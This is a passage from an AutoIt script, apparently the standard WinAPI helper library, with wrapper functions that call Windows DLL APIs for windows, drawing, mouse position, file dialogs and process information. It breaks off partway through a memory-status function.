  1539. EndFunc
  1540.  
  1541. Func _winapi_fatalappexit($smessage)
  1542.     DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
  1543.     If @error Then Return SetError(@error, @extended)
  1544. EndFunc
  1545.  
  1546. Func _winapi_fillrect($hdc, $ptrrect, $hbrush)
  1547.     Local $aresult
  1548.     If IsPtr($hbrush) Then
  1549.         $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush)
  1550.     Else
  1551.         $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush)
  1552.     EndIf
  1553.     If @error Then Return SetError(@error, @extended, False)
  1554.     Return $aresult[0]
  1555. EndFunc
  1556.  
  1557. Func _winapi_findexecutable($sfilename, $sdirectory = "")
  1558.     Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
  1559.     If @error Then Return SetError(@error, @extended, 0)
  1560.     Return SetExtended($aresult[0], $aresult[3])
  1561. EndFunc
  1562.  
  1563. Func _winapi_findwindow($sclassname, $swindowname)
  1564.     Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
  1565.     If @error Then Return SetError(@error, @extended, 0)
  1566.     Return $aresult[0]
  1567. EndFunc
  1568.  
  1569. Func _winapi_flashwindow($hwnd, $finvert = True)
  1570.     Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert)
  1571.     If @error Then Return SetError(@error, @extended, False)
  1572.     Return $aresult[0]
  1573. EndFunc
  1574.  
  1575. Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
  1576.     Local $tflash = DllStructCreate($tagflashwinfo)
  1577.     Local $iflash = DllStructGetSize($tflash)
  1578.     Local $imode = 0
  1579.     If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption)
  1580.     If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray)
  1581.     If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer)
  1582.     If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg)
  1583.     DllStructSetData($tflash, "Size", $iflash)
  1584.     DllStructSetData($tflash, "hWnd", $hwnd)
  1585.     DllStructSetData($tflash, "Flags", $imode)
  1586.     DllStructSetData($tflash, "Count", $icount)
  1587.     DllStructSetData($tflash, "Timeout", $itimeout)
  1588.     Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
  1589.     If @error Then Return SetError(@error, @extended, False)
  1590.     Return $aresult[0]
  1591. EndFunc
  1592.  
  1593. Func _winapi_floattoint($nfloat)
  1594.     Local $tfloat = DllStructCreate("float")
  1595.     Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
  1596.     DllStructSetData($tfloat, 1, $nfloat)
  1597.     Return DllStructGetData($tint, 1)
  1598. EndFunc
  1599.  
  1600. Func _winapi_flushfilebuffers($hfile)
  1601.     Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
  1602.     If @error Then Return SetError(@error, @extended, False)
  1603.     Return $aresult[0]
  1604. EndFunc
  1605.  
  1606. Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
  1607.     Local $sbuffertype = "struct*"
  1608.     If IsString($pbuffer) Then $sbuffertype = "wstr"
  1609.     Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
  1610.     If @error Then Return SetError(@error, @extended, 0)
  1611.     If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
  1612.     Return $aresult[0]
  1613. EndFunc
  1614.  
  1615. Func _winapi_framerect($hdc, $ptrrect, $hbrush)
  1616.     Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
  1617.     If @error Then Return SetError(@error, @extended, False)
  1618.     Return $aresult[0]
  1619. EndFunc
  1620.  
  1621. Func _winapi_freelibrary($hmodule)
  1622.     Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
  1623.     If @error Then Return SetError(@error, @extended, False)
  1624.     Return $aresult[0]
  1625. EndFunc
  1626.  
  1627. Func _winapi_getancestor($hwnd, $iflags = 1)
  1628.     Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
  1629.     If @error Then Return SetError(@error, @extended, 0)
  1630.     Return $aresult[0]
  1631. EndFunc
  1632.  
  1633. Func _winapi_getasynckeystate($ikey)
  1634.     Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
  1635.     If @error Then Return SetError(@error, @extended, 0)
  1636.     Return $aresult[0]
  1637. EndFunc
  1638.  
  1639. Func _winapi_getbkmode($hdc)
  1640.     Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
  1641.     If @error Then Return SetError(@error, @extended, 0)
  1642.     Return $aresult[0]
  1643. EndFunc
  1644.  
  1645. Func _winapi_getclassname($hwnd)
  1646.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  1647.     Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  1648.     If @error Then Return SetError(@error, @extended, False)
  1649.     Return SetExtended($aresult[0], $aresult[2])
  1650. EndFunc
  1651.  
  1652. Func _winapi_getclientheight($hwnd)
  1653.     Local $trect = _winapi_getclientrect($hwnd)
  1654.     If @error Then Return SetError(@error, @extended, 0)
  1655.     Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  1656. EndFunc
  1657.  
  1658. Func _winapi_getclientwidth($hwnd)
  1659.     Local $trect = _winapi_getclientrect($hwnd)
  1660.     If @error Then Return SetError(@error, @extended, 0)
  1661.     Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  1662. EndFunc
  1663.  
  1664. Func _winapi_getclientrect($hwnd)
  1665.     Local $trect = DllStructCreate($tagrect)
  1666.     DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
  1667.     If @error Then Return SetError(@error, @extended, 0)
  1668.     Return $trect
  1669. EndFunc
  1670.  
  1671. Func _winapi_getcurrentprocess()
  1672.     Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
  1673.     If @error Then Return SetError(@error, @extended, 0)
  1674.     Return $aresult[0]
  1675. EndFunc
  1676.  
  1677. Func _winapi_getcurrentprocessid()
  1678.     Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
  1679.     If @error Then Return SetError(@error, @extended, 0)
  1680.     Return $aresult[0]
  1681. EndFunc
  1682.  
  1683. Func _winapi_getcurrentthread()
  1684.     Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
  1685.     If @error Then Return SetError(@error, @extended, 0)
  1686.     Return $aresult[0]
  1687. EndFunc
  1688.  
  1689. Func _winapi_getcurrentthreadid()
  1690.     Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
  1691.     If @error Then Return SetError(@error, @extended, 0)
  1692.     Return $aresult[0]
  1693. EndFunc
  1694.  
  1695. Func _winapi_getcursorinfo()
  1696.     Local $tcursor = DllStructCreate($tagcursorinfo)
  1697.     Local $icursor = DllStructGetSize($tcursor)
  1698.     DllStructSetData($tcursor, "Size", $icursor)
  1699.     DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
  1700.     If @error Then Return SetError(@error, @extended, 0)
  1701.     Local $acursor[5]
  1702.     $acursor[0] = True
  1703.     $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
  1704.     $acursor[2] = DllStructGetData($tcursor, "hCursor")
  1705.     $acursor[3] = DllStructGetData($tcursor, "X")
  1706.     $acursor[4] = DllStructGetData($tcursor, "Y")
  1707.     Return $acursor
  1708. EndFunc
  1709.  
  1710. Func _winapi_getdc($hwnd)
  1711.     Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  1712.     If @error Then Return SetError(@error, @extended, 0)
  1713.     Return $aresult[0]
  1714. EndFunc
  1715.  
  1716. Func _winapi_getdesktopwindow()
  1717.     Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
  1718.     If @error Then Return SetError(@error, @extended, 0)
  1719.     Return $aresult[0]
  1720. EndFunc
  1721.  
  1722. Func _winapi_getdevicecaps($hdc, $iindex)
  1723.     Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
  1724.     If @error Then Return SetError(@error, @extended, 0)
  1725.     Return $aresult[0]
  1726. EndFunc
  1727.  
  1728. Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
  1729.     Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
  1730.     If @error Then Return SetError(@error, @extended, False)
  1731.     Return $aresult[0]
  1732. EndFunc
  1733.  
  1734. Func _winapi_getdlgctrlid($hwnd)
  1735.     Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
  1736.     If @error Then Return SetError(@error, @extended, 0)
  1737.     Return $aresult[0]
  1738. EndFunc
  1739.  
  1740. Func _winapi_getdlgitem($hwnd, $iitemid)
  1741.     Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
  1742.     If @error Then Return SetError(@error, @extended, 0)
  1743.     Return $aresult[0]
  1744. EndFunc
  1745.  
  1746. Func _winapi_getfocus()
  1747.     Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
  1748.     If @error Then Return SetError(@error, @extended, 0)
  1749.     Return $aresult[0]
  1750. EndFunc
  1751.  
  1752. Func _winapi_getforegroundwindow()
  1753.     Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
  1754.     If @error Then Return SetError(@error, @extended, 0)
  1755.     Return $aresult[0]
  1756. EndFunc
  1757.  
  1758. Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
  1759.     If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
  1760.     Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
  1761.     If @error Then Return SetError(@error, @extended, 0)
  1762.     Return $aresult[0]
  1763. EndFunc
  1764.  
  1765. Func _winapi_geticoninfo($hicon)
  1766.     Local $tinfo = DllStructCreate($tagiconinfo)
  1767.     DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
  1768.     If @error Then Return SetError(@error, @extended, 0)
  1769.     Local $aicon[6]
  1770.     $aicon[0] = True
  1771.     $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
  1772.     $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
  1773.     $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
  1774.     $aicon[4] = DllStructGetData($tinfo, "hMask")
  1775.     $aicon[5] = DllStructGetData($tinfo, "hColor")
  1776.     Return $aicon
  1777. EndFunc
  1778.  
  1779. Func _winapi_getfilesizeex($hfile)
  1780.     Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
  1781.     If @error Then Return SetError(@error, @extended, 0)
  1782.     Return $aresult[2]
  1783. EndFunc
  1784.  
  1785. Func _winapi_getlasterrormessage()
  1786.     Local $tbufferptr = DllStructCreate("ptr")
  1787.     Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $tbufferptr, 0, 0)
  1788.     If @error Then Return SetError(@error, 0, "")
  1789.     Local $stext = ""
  1790.     Local $pbuffer = DllStructGetData($tbufferptr, 1)
  1791.     If $pbuffer Then
  1792.         If $ncount > 0 Then
  1793.             Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
  1794.             $stext = DllStructGetData($tbuffer, 1)
  1795.         EndIf
  1796.         _winapi_localfree($pbuffer)
  1797.     EndIf
  1798.     Return $stext
  1799. EndFunc
  1800.  
  1801. Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False)
  1802.     $i_transcolor = -1
  1803.     $transparency = -1
  1804.     Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0)
  1805.     If @error Then Return SetError(@error, @extended, 0)
  1806.     If NOT $ascolorref Then
  1807.         $aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
  1808.     EndIf
  1809.     $i_transcolor = $aresult[2]
  1810.     $transparency = $aresult[3]
  1811.     Return $aresult[4]
  1812. EndFunc
  1813.  
  1814. Func _winapi_getmodulehandle($smodulename)
  1815.     Local $smodulenametype = "wstr"
  1816.     If $smodulename = "" Then
  1817.         $smodulename = 0
  1818.         $smodulenametype = "ptr"
  1819.     EndIf
  1820.     Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
  1821.     If @error Then Return SetError(@error, @extended, 0)
  1822.     Return $aresult[0]
  1823. EndFunc
  1824.  
  1825. Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
  1826.     Local $imode = Opt("MouseCoordMode", 1)
  1827.     Local $apos = MouseGetPos()
  1828.     Opt("MouseCoordMode", $imode)
  1829.     Local $tpoint = DllStructCreate($tagpoint)
  1830.     DllStructSetData($tpoint, "X", $apos[0])
  1831.     DllStructSetData($tpoint, "Y", $apos[1])
  1832.     If $ftoclient Then
  1833.         _winapi_screentoclient($hwnd, $tpoint)
  1834.         If @error Then Return SetError(@error, @extended, 0)
  1835.     EndIf
  1836.     Return $tpoint
  1837. EndFunc
  1838.  
  1839. Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
  1840.     Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
  1841.     If @error Then Return SetError(@error, @extended, 0)
  1842.     Return DllStructGetData($tpoint, "X")
  1843. EndFunc
  1844.  
  1845. Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
  1846.     Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
  1847.     If @error Then Return SetError(@error, @extended, 0)
  1848.     Return DllStructGetData($tpoint, "Y")
  1849. EndFunc
  1850.  
  1851. Func _winapi_getobject($hobject, $isize, $pobject)
  1852.     Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject)
  1853.     If @error Then Return SetError(@error, @extended, 0)
  1854.     Return $aresult[0]
  1855. EndFunc
  1856.  
  1857. Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  1858.     Local $ipathlen = 4096
  1859.     Local $inulls = 0
  1860.     Local $tofn = DllStructCreate($tagopenfilename)
  1861.     Local $afiles[1] = [0]
  1862.     Local $iflag = $iflags
  1863.     Local $asflines = StringSplit($sfilter, "|")
  1864.     Local $asfilter[$asflines[0] * 2 + 1]
  1865.     Local $istart, $ifinal, $stfilter
  1866.     $asfilter[0] = $asflines[0] * 2
  1867.     For $i = 1 To $asflines[0]
  1868.         $istart = StringInStr($asflines[$i], "(", 0, 1)
  1869.         $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  1870.         $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
  1871.         $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
  1872.         $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  1873.     Next
  1874.     Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  1875.     Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  1876.     Local $tfilter = DllStructCreate($stfilter & "wchar")
  1877.     Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  1878.     Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  1879.     For $i = 1 To $asfilter[0]
  1880.         DllStructSetData($tfilter, $i, $asfilter[$i])
  1881.     Next
  1882.     DllStructSetData($ttitle, "Title", $stitle)
  1883.     DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  1884.     DllStructSetData($tpath, "Path", $sdefaultfile)
  1885.     DllStructSetData($textn, "Extension", $sdefaultext)
  1886.     DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  1887.     DllStructSetData($tofn, "hwndOwner", $hwndowner)
  1888.     DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  1889.     DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  1890.     DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  1891.     DllStructSetData($tofn, "nMaxFile", $ipathlen)
  1892.     DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  1893.     DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  1894.     DllStructSetData($tofn, "Flags", $iflag)
  1895.     DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  1896.     DllStructSetData($tofn, "FlagsEx", $iflagsex)
  1897.     DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn)
  1898.     If @error Then Return SetError(@error, @extended, $afiles)
  1899.     If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
  1900.         For $x = 1 To $ipathlen
  1901.             If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
  1902.                 DllStructSetData($tpath, "Path", "|", $x)
  1903.                 $inulls += 1
  1904.             Else
  1905.                 $inulls = 0
  1906.             EndIf
  1907.             If $inulls = 2 Then ExitLoop
  1908.         Next
  1909.         DllStructSetData($tpath, "Path", Chr(0), $x - 1)
  1910.         $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
  1911.         If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  1912.         Return StringSplit(DllStructGetData($tpath, "Path"), "|")
  1913.     ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
  1914.         $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
  1915.         If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  1916.         Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
  1917.     Else
  1918.         Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  1919.     EndIf
  1920. EndFunc
  1921.  
  1922. Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False)
  1923.     Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait)
  1924.     If @error Then Return SetError(@error, @extended, False)
  1925.     $ibytes = $aresult[3]
  1926.     Return $aresult[0]
  1927. EndFunc
  1928.  
  1929. Func _winapi_getparent($hwnd)
  1930.     Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
  1931.     If @error Then Return SetError(@error, @extended, 0)
  1932.     Return $aresult[0]
  1933. EndFunc
  1934.  
  1935. Func _winapi_getprocessaffinitymask($hprocess)
  1936.     Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
  1937.     If @error Then Return SetError(@error, @extended, 0)
  1938.     Local $amask[3]
  1939.     $amask[0] = True
  1940.     $amask[1] = $aresult[2]
  1941.     $amask[2] = $aresult[3]
  1942.     Return $amask
  1943. EndFunc
  1944.  
  1945. Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  1946.     Local $ipathlen = 4096
  1947.     Local $tofn = DllStructCreate($tagopenfilename)
  1948.     Local $afiles[1] = [0]
  1949.     Local $iflag = $iflags
  1950.     Local $asflines = StringSplit($sfilter, "|")
  1951.     Local $asfilter[$asflines[0] * 2 + 1]
  1952.     Local $istart, $ifinal, $stfilter
  1953.     $asfilter[0] = $asflines[0] * 2
  1954.     For $i = 1 To $asflines[0]
  1955.         $istart = StringInStr($asflines[$i], "(", 0, 1)
  1956.         $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  1957.         $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
  1958.         $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
  1959.         $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  1960.     Next
  1961.     Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  1962.     Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  1963.     Local $tfilter = DllStructCreate($stfilter & "wchar")
  1964.     Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  1965.     Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  1966.     For $i = 1 To $asfilter[0]
  1967.         DllStructSetData($tfilter, $i, $asfilter[$i])
  1968.     Next
  1969.     DllStructSetData($ttitle, "Title", $stitle)
  1970.     DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  1971.     DllStructSetData($tpath, "Path", $sdefaultfile)
  1972.     DllStructSetData($textn, "Extension", $sdefaultext)
  1973.     DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  1974.     DllStructSetData($tofn, "hwndOwner", $hwndowner)
  1975.     DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  1976.     DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  1977.     DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  1978.     DllStructSetData($tofn, "nMaxFile", $ipathlen)
  1979.     DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  1980.     DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  1981.     DllStructSetData($tofn, "Flags", $iflag)
  1982.     DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  1983.     DllStructSetData($tofn, "FlagsEx", $iflagsex)
  1984.     DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn)
  1985.     If @error Then Return SetError(@error, @extended, $afiles)
  1986.     Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  1987. EndFunc
  1988.  
  1989. Func _winapi_getstockobject($iobject)
  1990.     Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
  1991.     If @error Then Return SetError(@error, @extended, 0)
  1992.     Return $aresult[0]
  1993. EndFunc
  1994.  
  1995. Func _winapi_getstdhandle($istdhandle)
  1996.     If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
  1997.     Local Const $ahandle[3] = [-10, -11, -12]
  1998.     Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
  1999.     If @error Then Return SetError(@error, @extended, -1)
  2000.     Return $aresult[0]
  2001. EndFunc
  2002.  
  2003. Func _winapi_getsyscolor($iindex)
  2004.     Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex)
  2005.     If @error Then Return SetError(@error, @extended, 0)
  2006.     Return $aresult[0]
  2007. EndFunc
  2008.  
  2009. Func _winapi_getsyscolorbrush($iindex)
  2010.     Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
  2011.     If @error Then Return SetError(@error, @extended, 0)
  2012.     Return $aresult[0]
  2013. EndFunc
  2014.  
  2015. Func _winapi_getsystemmetrics($iindex)
  2016.     Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
  2017.     If @error Then Return SetError(@error, @extended, 0)
  2018.     Return $aresult[0]
  2019. EndFunc
  2020.  
  2021. Func _winapi_gettextextentpoint32($hdc, $stext)
  2022.     Local $tsize = DllStructCreate($tagsize)
  2023.     Local $isize = StringLen($stext)
  2024.     DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
  2025.     If @error Then Return SetError(@error, @extended, 0)
  2026.     Return $tsize
  2027. EndFunc
  2028.  
  2029. Func _winapi_gettextmetrics($hdc)
  2030.     Local $ttextmetric = DllStructCreate($tagtextmetric)
  2031.     Local $ret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
  2032.     If @error Then Return SetError(@error, @extended, 0)
  2033.     If NOT $ret[0] Then Return SetError(-1, 0, 0)
  2034.     Return $ttextmetric
  2035. EndFunc
  2036.  
  2037. Func _winapi_getwindow($hwnd, $icmd)
  2038.     Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
  2039.     If @error Then Return SetError(@error, @extended, 0)
  2040.     Return $aresult[0]
  2041. EndFunc
  2042.  
  2043. Func _winapi_getwindowdc($hwnd)
  2044.     Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
  2045.     If @error Then Return SetError(@error, @extended, 0)
  2046.     Return $aresult[0]
  2047. EndFunc
  2048.  
  2049. Func _winapi_getwindowheight($hwnd)
  2050.     Local $trect = _winapi_getwindowrect($hwnd)
  2051.     If @error Then Return SetError(@error, @extended, 0)
  2052.     Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  2053. EndFunc
  2054.  
  2055. Func _winapi_getwindowlong($hwnd, $iindex)
  2056.     Local $sfuncname = "GetWindowLongW"
  2057.     If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
  2058.     Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
  2059.     If @error Then Return SetError(@error, @extended, 0)
  2060.     Return $aresult[0]
  2061. EndFunc
  2062.  
  2063. Func _winapi_getwindowplacement($hwnd)
  2064.     Local $twindowplacement = DllStructCreate($tagwindowplacement)
  2065.     DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
  2066.     DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
  2067.     If @error Then Return SetError(@error, @extended, 0)
  2068.     Return $twindowplacement
  2069. EndFunc
  2070.  
  2071. Func _winapi_getwindowrect($hwnd)
  2072.     Local $trect = DllStructCreate($tagrect)
  2073.     DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
  2074.     If @error Then Return SetError(@error, @extended, 0)
  2075.     Return $trect
  2076. EndFunc
  2077.  
  2078. Func _winapi_getwindowrgn($hwnd, $hrgn)
  2079.     Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
  2080.     If @error Then Return SetError(@error, @extended, 0)
  2081.     Return $aresult[0]
  2082. EndFunc
  2083.  
  2084. Func _winapi_getwindowtext($hwnd)
  2085.     Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  2086.     If @error Then Return SetError(@error, @extended, "")
  2087.     Return SetExtended($aresult[0], $aresult[2])
  2088. EndFunc
  2089.  
  2090. Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
  2091.     Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
  2092.     If @error Then Return SetError(@error, @extended, 0)
  2093.     $ipid = $aresult[2]
  2094.     Return $aresult[0]
  2095. EndFunc
  2096.  
  2097. Func _winapi_getwindowwidth($hwnd)
  2098.     Local $trect = _winapi_getwindowrect($hwnd)
  2099.     If @error Then Return SetError(@error, @extended, 0)
  2100.     Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  2101. EndFunc
  2102.  
  2103. Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
  2104.     $ix = DllStructGetData($tpoint, "X")
  2105.     $iy = DllStructGetData($tpoint, "Y")
  2106. EndFunc
  2107.  
  2108. Func _winapi_globalmemorystatus()
  2109.     Local $tmem = DllStructCreate($tagmemorystatusex)
  2110.     Local $imem = DllStructGetSize($tmem)
  2111.     DllStructSetData($tmem, 1, $imem)
  2112.     DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $tmem)
